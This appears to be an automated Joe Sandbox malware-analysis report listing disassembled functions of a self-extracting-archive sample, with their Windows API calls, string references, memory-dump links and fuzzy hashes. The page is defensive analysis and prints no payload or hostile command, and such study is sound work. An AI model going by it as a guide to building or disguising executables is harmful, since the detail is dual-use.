Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: _wcslen$ByteCharFileH_prologModuleMultiNameWide__fprintf_l
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 566448164-801612888
Opcode ID: a368fa9119adb71667490fdb4d8808ce7a6e06e6692379aab1eff1941cf9d9ba
Instruction ID: b282d7bee0fea398ef636a481681af9cc5ce92d88a611180030f36d062f579dd
Opcode Fuzzy Hash: a368fa9119adb71667490fdb4d8808ce7a6e06e6692379aab1eff1941cf9d9ba
Instruction Fuzzy Hash: 4B32DE71900228ABDF24EF68E841AEA77B4FF24708F44097AF94697281E771DD85CB70

Function 00D3E619 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D3C758: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00D3C769
Part of subcall function 00D3C758: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D3C77A
Part of subcall function 00D3C758: IsDialogMessageW.USER32(000204C8,?), ref: 00D3C78E
Part of subcall function 00D3C758: TranslateMessage.USER32(?), ref: 00D3C79C
Part of subcall function 00D3C758: DispatchMessageW.USER32(?), ref: 00D3C7A6

GetDlgItem.USER32(00000068,00D81CF0), ref: 00D3E62D
ShowWindow.USER32(00000000,00000005,?,?,00000001,?,?,00D3C9A9,00D560F0,00D81CF0,00D81CF0,00001000,?,00000000,?), ref: 00D3E655
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00D3E660
SendMessageW.USER32(00000000,000000C2,00000000,00D545F4), ref: 00D3E66E
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00D3E684
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00D3E69E
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00D3E6E2
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00D3E6F0
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00D3E6FF
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00D3E726
SendMessageW.USER32(00000000,000000C2,00000000,00D5549C), ref: 00D3E735

Strings

\, xrefs: 00D3E68E

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: 765b3a766376c627d474350d19167423d56e750768d2d46911a5256509b48091
Instruction ID: 124b137881bb5998db667537ef69824554be5b5cb0aae44fcb338396f34188cf
Opcode Fuzzy Hash: 765b3a766376c627d474350d19167423d56e750768d2d46911a5256509b48091
Instruction Fuzzy Hash: 8131D071195B40AFD3019F24EC4EFAB3FACFB42B04F040908F5A1D6290CBA559088BB6

Function 00D3B6D2 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNELBASE(?,PNG,00000000,?,?,?,00D3C92D,00000066), ref: 00D3B6E5
SizeofResource.KERNEL32(00000000,?,?,?,00D3C92D,00000066), ref: 00D3B6FC
LoadResource.KERNEL32(00000000,?,?,?,00D3C92D,00000066), ref: 00D3B713
LockResource.KERNEL32(00000000,?,?,?,00D3C92D,00000066), ref: 00D3B722
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,00D3C92D,00000066), ref: 00D3B73D
GlobalLock.KERNEL32(00000000), ref: 00D3B74E
CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00D3B772
GlobalUnlock.KERNEL32(00000000), ref: 00D3B7D6

Part of subcall function 00D3B636: GdipAlloc.GDIPLUS(00000010), ref: 00D3B63C

GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00D3B7B7
GlobalFree.KERNEL32(00000000), ref: 00D3B7DD

Strings

PNG, xrefs: 00D3B6D6

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Global$Resource$AllocCreateGdipLock$BitmapFindFreeFromLoadSizeofStreamUnlock
String ID: PNG
API String ID: 211097158-364855578
Opcode ID: 05a7c1725e35eb4cfe95da9b66a4c6c959e40fa78b1998d5a1b178efa1859ebb
Instruction ID: 9298c91a32eff528ad6f3251c37fa8059d316e99eec99721e9fe6f7b41c7067b
Opcode Fuzzy Hash: 05a7c1725e35eb4cfe95da9b66a4c6c959e40fa78b1998d5a1b178efa1859ebb
Instruction Fuzzy Hash: 53318FB1605702AFD7119F21EC88D2B7FA8EF857A6F090519FE05C2360EB31D884CAB1

Function 00D4BB1B Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00D469A3,00D469A3,?,?,?,00D4BD6C,00000001,00000001,62E85006), ref: 00D4BB75
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00D4BD6C,00000001,00000001,62E85006,?,?,?), ref: 00D4BBFB
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,62E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00D4BCF5
__freea.LIBCMT ref: 00D4BD02

Part of subcall function 00D4A7FE: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00D4DBEC,00000000,?,00D480B1,?,00000008,?,00D4A871,?,?,?), ref: 00D4A830

__freea.LIBCMT ref: 00D4BD0B
__freea.LIBCMT ref: 00D4BD30

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 360ab378ee618f4b50ae637b6a46cff85b9cc4191ca321bf8dbc4f4bac79da8f
Instruction ID: 531225ebecc5606d805fcc660d8242d1e5198b83d6078b43d8b4cea2d12cbf63
Opcode Fuzzy Hash: 360ab378ee618f4b50ae637b6a46cff85b9cc4191ca321bf8dbc4f4bac79da8f
Instruction Fuzzy Hash: 0D51E272A10216AFEB258F64CC81EBF77A9EF64764F19466AFC06D6150DB34DC80C6B0

Function 00D3BD1B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D31B3B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00D31B56
Part of subcall function 00D31B3B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00D3063A,Crypt32.dll,00000000,00D306B4,00000200,?,00D30697,00000000,00000000,?), ref: 00D31B78

OleInitialize.OLE32(00000000), ref: 00D3BD34
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00D3BD6B
SHGetMalloc.SHELL32(00D6A460), ref: 00D3BD75

Strings

3Ro, xrefs: 00D3BD4C
riched20.dll, xrefs: 00D3BD23

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll$3Ro
API String ID: 3498096277-3613677438
Opcode ID: a25cef6bb7dfdbe38c2f1d8454f389b1f32956420dc17b6ecf7862518e984b19
Instruction ID: 6ec342fe0b008a23e1833e633c158f3cbe878ced89620c594913d6ebdf0090c6
Opcode Fuzzy Hash: a25cef6bb7dfdbe38c2f1d8454f389b1f32956420dc17b6ecf7862518e984b19
Instruction Fuzzy Hash: C0F0F9B5D00209AFCB10AF99E8499EFFFFCEF84705F00445AE855E2254DBB456498BB1

Function 00D2AB40 Relevance: 7.6, APIs: 5, Instructions: 111
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,08000000,00000000,?,00000000,?,?,00D28243,?,00000005,?,00000011), ref: 00D2ABBF
GetLastError.KERNEL32(?,?,00D28243,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00D2ABCC
CreateFileW.KERNEL32(00000000,?,?,00000000,00000003,08000000,00000000,?,?,00000800,?,?,00D28243,?,00000005,?), ref: 00D2AC02
GetLastError.KERNEL32(?,?,00D28243,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00D2AC0A
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,00D28243,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00D2AC59

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: ff7c2185bb815a532fb1d2285211fcdc62a10c3741f403114cdcf59951a30b67
Instruction ID: e6a61668b6fab24c8cb962a4c33c7ad5fc6435e4419c3ec897ec16d61442dfee
Opcode Fuzzy Hash: ff7c2185bb815a532fb1d2285211fcdc62a10c3741f403114cdcf59951a30b67
Instruction Fuzzy Hash: B0316A345447956FE3309F28EC45BDABBD4FB11328F240B19F9A0962D1C3B0A884DBB2

Function 00D3C758 Relevance: 7.5, APIs: 5, Instructions: 38
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00D3C769
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D3C77A
IsDialogMessageW.USER32(000204C8,?), ref: 00D3C78E
TranslateMessage.USER32(?), ref: 00D3C79C
DispatchMessageW.USER32(?), ref: 00D3C7A6

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 69303e731164a73dc91610efbedf9290e9e4438a2fefbf3a5257ffe53a4e88e2
Instruction ID: 31502375fba8f0c1dff3c06faa487dd4e0998a79a764f3437cc73e71a3264b94
Opcode Fuzzy Hash: 69303e731164a73dc91610efbedf9290e9e4438a2fefbf3a5257ffe53a4e88e2
Instruction Fuzzy Hash: 46F0D0B5911619ABCB209BA5EC4CDDB7FACEE05391B404415B906E2254E764D505CBF0

Function 00D3BBC0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 00D3BBD7
SHAutoComplete.SHLWAPI(?,00000010), ref: 00D3BC0E

Part of subcall function 00D33316: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00013316,00D2D523,00000000,.exe,?,?,00000800,?,?,?,00D39E5C), ref: 00D3332C

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00D3BBFE

Strings

EDIT, xrefs: 00D3BBE2, 00D3BBED, 00D3BBFA

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: bb6b716dec9b8a291121a81a0f2cec6d0621805a39a9f3504c40540dc8c06b0c
Instruction ID: c90bd2b60f7a43fdf8773cae879909d4dd1db46ba6928324c5997f4952e5cb78
Opcode Fuzzy Hash: bb6b716dec9b8a291121a81a0f2cec6d0621805a39a9f3504c40540dc8c06b0c
Instruction Fuzzy Hash: A2F08232A007287BDB305765AC09F9F7A6CAB46B50F480022BE40F2284DB60E901C6F6

Function 00D3ED2E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00D3ED44
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00D3ED80

Strings

sfxpar, xrefs: 00D3ED7B
sfxcmd, xrefs: 00D3ED3F

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: a07ab37832fcd412dd9088a78c80bfb08d12008a464441dfa401c7a93b5736b5
Instruction ID: 74198f68ac8202e684c7fd4b7156d6948812dd9747a1548bb29554524c2bc722
Opcode Fuzzy Hash: a07ab37832fcd412dd9088a78c80bfb08d12008a464441dfa401c7a93b5736b5
Instruction Fuzzy Hash: 26F0E5B2901735ABDB202B909C06EBA7B68EF15B52F040111BC85961C6E660C884C6B1

Function 00D44DA2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00D44D53,00000000,?,00D840C4,?,?,?,00D44EF6,00000004,InitializeCriticalSectionEx,00D57424,InitializeCriticalSectionEx), ref: 00D44DAF
GetLastError.KERNEL32(?,00D44D53,00000000,?,00D840C4,?,?,?,00D44EF6,00000004,InitializeCriticalSectionEx,00D57424,InitializeCriticalSectionEx,00000000,?,00D44CAD), ref: 00D44DB9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00D44DE1

Strings

api-ms-, xrefs: 00D44DC6

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: d40f846c6967ff85824536d82475de68e368ec3c03a809cf2f30241e6075bae8
Instruction ID: 2f2bcda9e67d1f57108d7eeb82011d60ccc0e715041cdd9e93f1e8f898ae50a1
Opcode Fuzzy Hash: d40f846c6967ff85824536d82475de68e368ec3c03a809cf2f30241e6075bae8
Instruction Fuzzy Hash: B4E04F38684304BBEF101B61EC06B6A3F58AF00B57F280020FE0CE85E0E765A9D095B5

Function 00D2A9E5 Relevance: 6.1, APIs: 4, Instructions: 56
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00D2A9F5
ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 00D2AA0D
GetLastError.KERNEL32 ref: 00D2AA3F
GetLastError.KERNEL32 ref: 00D2AA5E

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 555b31b5a87870a0d021feedcaa000afdbdb5f175bfeb7480e49788bd84a7a8c
Instruction ID: 47277b8b9b2ded7e425d833739deed7c52e30af820bfbbd642af155cd6003234
Opcode Fuzzy Hash: 555b31b5a87870a0d021feedcaa000afdbdb5f175bfeb7480e49788bd84a7a8c
Instruction Fuzzy Hash: B7114C31900224ABCF209F68EE0466A37A9FF2136DF244626E95685290D774CE84DB73

Function 00D4BEF4 Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00D45281,00000000,00000000,?,00D4BE9B,00D45281,00000000,00000000,00000000,?,00D4C098,00000006,FlsSetValue), ref: 00D4BF26
GetLastError.KERNEL32(?,00D4BE9B,00D45281,00000000,00000000,00000000,?,00D4C098,00000006,FlsSetValue,00D58A00,FlsSetValue,00000000,00000364,?,00D4A5E7), ref: 00D4BF32
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00D4BE9B,00D45281,00000000,00000000,00000000,?,00D4C098,00000006,FlsSetValue,00D58A00,FlsSetValue,00000000), ref: 00D4BF40

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 50a4f4f16a356e0dad60db52155cafd1f0ba4491ebe6b8c3fa283caa97edc491
Instruction ID: 18744dbd152abfdea1977169bdd719cab5cfb1c7b6ae744e48f7f6c4a8daf97e
Opcode Fuzzy Hash: 50a4f4f16a356e0dad60db52155cafd1f0ba4491ebe6b8c3fa283caa97edc491
Instruction Fuzzy Hash: F801F7322153239BCB214A68AC44A577798AF25BB6B290621FD4EE3290D721D805CEF0

Function 00D2B20A Relevance: 4.6, APIs: 3, Instructions: 111fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,?,?,?,00D2E79B,00000001,?,?,?,00000000,00D366C2,?,?,?), ref: 00D2B22E
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,00D366C2,?,?,?,?,?,00D36184,?), ref: 00D2B275
WriteFile.KERNELBASE(0000001D,?,?,?,00000000,?,00000001,?,?,?,?,00D2E79B,00000001,?,?), ref: 00D2B2A1

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 7dc383671772dc8b2a2d0a6f68f27870f7e6ac075c93eec7b5296b2d96f3bb22
Instruction ID: 16794ad019da89fb7dd7dac555749d16a191f77dda0cc1e4f57f3cad4f45435a
Opcode Fuzzy Hash: 7dc383671772dc8b2a2d0a6f68f27870f7e6ac075c93eec7b5296b2d96f3bb22
Instruction Fuzzy Hash: 3C31B531148325EFDB14CF14E818B6E77A5FFA1729F04451EF981A7290CBB49988CBB6

Function 00D2B542 Relevance: 4.6, APIs: 3, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00D2D68B: _wcslen.LIBCMT ref: 00D2D691

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,00D2B405,?,00000001,00000000,?,?), ref: 00D2B569
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,00D2B405,?,00000001,00000000,?,?), ref: 00D2B59C
GetLastError.KERNEL32(?,?,?,?,00D2B405,?,00000001,00000000,?,?), ref: 00D2B5B9

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_wcslen
String ID:
API String ID: 2260680371-0
Opcode ID: 1fec844170739e9eb83649e95954326af279c78d92fcd76f635f8212d55e3c16
